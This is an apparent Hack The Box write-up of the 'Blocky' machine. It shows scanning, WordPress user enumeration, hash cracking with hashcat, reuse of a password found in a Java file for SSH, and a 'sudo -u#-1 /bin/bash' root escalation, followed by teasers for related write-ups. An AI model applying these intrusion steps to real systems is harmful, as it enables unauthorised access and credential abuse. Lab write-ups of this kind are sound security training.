CTF Writeups

HTB Blocky

Onurcan Genç

13 Mar 2026 — 3 min read

Begin with attaching IP address to domain:

nano /etc/hosts

Firstly, check 80,443,8080 ports + conduct automated reconnaissance

Looks like Wordpress frontend. On meta part and footer it is observable

Let’s conduct port scan & fuzzing respectively.

use both at the same time ->

sudo nmap -sV -sC blocky.htb

sudo nmap -sV -sC -T4 -p- blocky.htb

Faster results in 65535 ports

No meaningful services.

To dive into SMB shares I conducted enum4linux scan.

There were no juicy findings.

Fuzzing matters ,but let me initially give a chance to wpscan

Clear RCE vector plugin can be seen below

Checking fuzz results:

dirsearch -u blocky.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt

Interesting path -> /plugins

Apply --enumerate u so as to identify current users available on application:

wpscan --url http://blocky.htb --enumerate u

Returning back to java files, I found a generic root:pass combination.

Upon that finding, I tried on SSH ,but still stucks. However, after a successful fuzzing operation, I saw phpmyadmin login.

Found user pass as hashed format.

Lets check via Crackstation

Could not determine

I used hashes.com to identify regarding hash type

Use hash-identifier "$P$BiVoTj899ItS1EZnMhqeqVbrZI4Oq0/"

Ready to brute via hashcat

hashcat -m 400 o.hash /usr/share/wordlists/sqlmap.txt

I was not successfuly. Instead, let me try to use password as SSH user notch

GFTObins perfectly fine actually or I will figure out through linpeas.

Understand what commands can notch run ->

ITS OK. Notch can run everything as Blocky (AKA ROOT) do.

sudo -u#-1 /bin/bash from HackTricks

I took root privileges as you can see above.

Find flags ->

May The Pentest Be With You ! ! !

HTB Valentine: Heartbleed to Root via tmux Session Hijack

Begin by adding the target machine IP to /etc/hosts. nano /etc/hosts sudo nmap -sV -sC valentine.htb I also conducted an NSE script scan against the vulnerable target. sudo nmap -sV --script=vuln valentine.htb --max-rate=10000 Meanwhile, directory fuzzing also proved useful. dirsearch -u http://valentine.htb

HTB Curling: Joomla RCE to Curl Config File Abuse

Begin with binding machine IP to custom domain. Conduct port scanning sudo nmap -sV -sC curling.htb Let's check Joomla: There were nothing valuable in this page. I also conducted a port scan with --script=vuln NSE engine. sudo nmap -sV --script=vuln --max-rate=10000 curling.htb It

CVE-2026-34156: VM Sandbox Escape to RCE in NocoBase

I discovered a critical vulnerability (CVSS3.1 10.0) in NocoBase's Workflow Script Node that allows an authenticated attacker to escape the Node.js vm sandbox and achieve Remote Code Execution as root with a single HTTP request. * CVE: CVE-2026-34156 * Advisory: GHSA-px3p-vgh9-m57c * Severity: Critical: CVSS:3.1 10.

HTB Beep: LFI to Root via Nmap Binary Exploitation

Bind machine IP to domain. Conduct port scan: sudo nmap -sV -sC beep.htb sudo nmap -sV -p- --max-rate 10000 beep.htb Including Login Page and sounds interesting, I could not connect through port 80 or 443, but nmap highlights HTTPS. Changing TLS version support worked in my browser. In

Read more

HTB Valentine: Heartbleed to Root via tmux Session Hijack

HTB Curling: Joomla RCE to Curl Config File Abuse

CVE-2026-34156: VM Sandbox Escape to RCE in NocoBase

HTB Beep: LFI to Root via Nmap Binary Exploitation